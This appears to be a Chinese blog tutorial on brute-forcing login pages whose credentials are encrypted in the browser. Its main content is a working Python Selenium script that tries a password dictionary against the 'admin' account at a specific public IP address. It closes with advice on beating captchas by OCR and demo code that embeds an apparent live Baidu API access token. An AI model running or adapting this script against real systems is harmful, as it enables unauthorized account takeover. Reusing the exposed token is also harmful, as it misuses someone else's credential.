对于用户名密码前端加密的爆破
前言
目前越来越多的网站系统在登录接口、数据请求接口中加入各式各样的加密算法,甚至有些网站在每次请求前都动态请求加密密钥等措施,对接口渗透工作造成较大障碍,简单对登录接口暴力破解时字段被加密,如何处理加密内容进行暴破来进行一个简单思路的分享。
常规思路
前端js逆向,通过对js里的加密算法进行破解,或者是理清加密流程,然后利用自己熟知的编程语言实现同样的加密方式,写一个效果一样的加密方式,然后把代码嵌入到发包爆破代码里,这种方式字典里账号密码传入的时候,先进行加密再传给登录请求。
但这种方式遇到较为复杂的加密算法需要的成本就比较多。
Selenium模拟浏览器登陆
可以利用selenium webdriver,本地驱动一个浏览器,完全模拟浏览器的操作,实现浏览器自动登录爆破。
因为是模拟人操作浏览器真实行为,所以数据会自动在前端走一遍加密流程。
# -*- encoding: UTF-8 -*- """ @author: Cuerz @time: 2023/7/15 22:11 """ import time import requests from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.action_chains import ActionChains def pass_read(file_path): pass_list = [] # 打开文件并按行读取 with open(file_path, 'r') as file: for line in file: # 去除行尾的换行符,并将每行添加到数组中 pass_list.append(line.strip()) return pass_list def main(): url = '<http://183.67.33.118:3000/webpages/login.html>' options = webdriver.ChromeOptions() # 浏览器使用静默模式 # options.add_argument("headless") driver = webdriver.Chrome("./chromedriver.exe", options=options) driver.get(url) time.sleep(3) # 读取字典 pass_list = pass_read('./pass.txt') for password in pass_list: # 定位元素 find_login_box = driver.find_elements(By.XPATH,'//input')[0] find_pass_box = driver.find_elements(By.XPATH,'//input')[2] find_button = driver.find_element(by=By.XPATH, value='//div[@id="login-btn"]') # 清空输入框 find_login_box.clear() find_pass_box.clear() find_login_box.send_keys("admin") find_pass_box.send_keys(password) time.sleep(2) find_button.click() if driver.current_url=='<http://183.67.33.118:3000/webpages/login.html>': print("当前密码不正确:"+ password) else: print("登录成功密码为:" + password) time.sleep(5) driver.quit() # pass if __name__ == '__main__': main()
效果如下
可以通过修改chromedriver启动方式为静默模式来提高运行速率,通常花费的时间会比逆向js少。只需要定位到输入框元素位置即可,剩下来的就是比拼字典的强弱了。
其次有些可能存在图片验证码的,再加上ocr识别即可,但识别的准确率不能做到百分之百。
https://cloud.baidu.com/doc/OCR/s/Ck3h7y2ia
demo代码如下
import requests img = '' request_url = '<https://aip.baidubce.com/rest/2.0/ocr/v1/general?access_token=24.df7a83d543f70d935281933785ef11a2.2592000.1692065279.282335-36236602>' ocr_headers = {'content-type': 'application/x-www-form-urlencoded'} params = {"image": img} response = requests.post(request_url, data=params, headers=ocr_headers)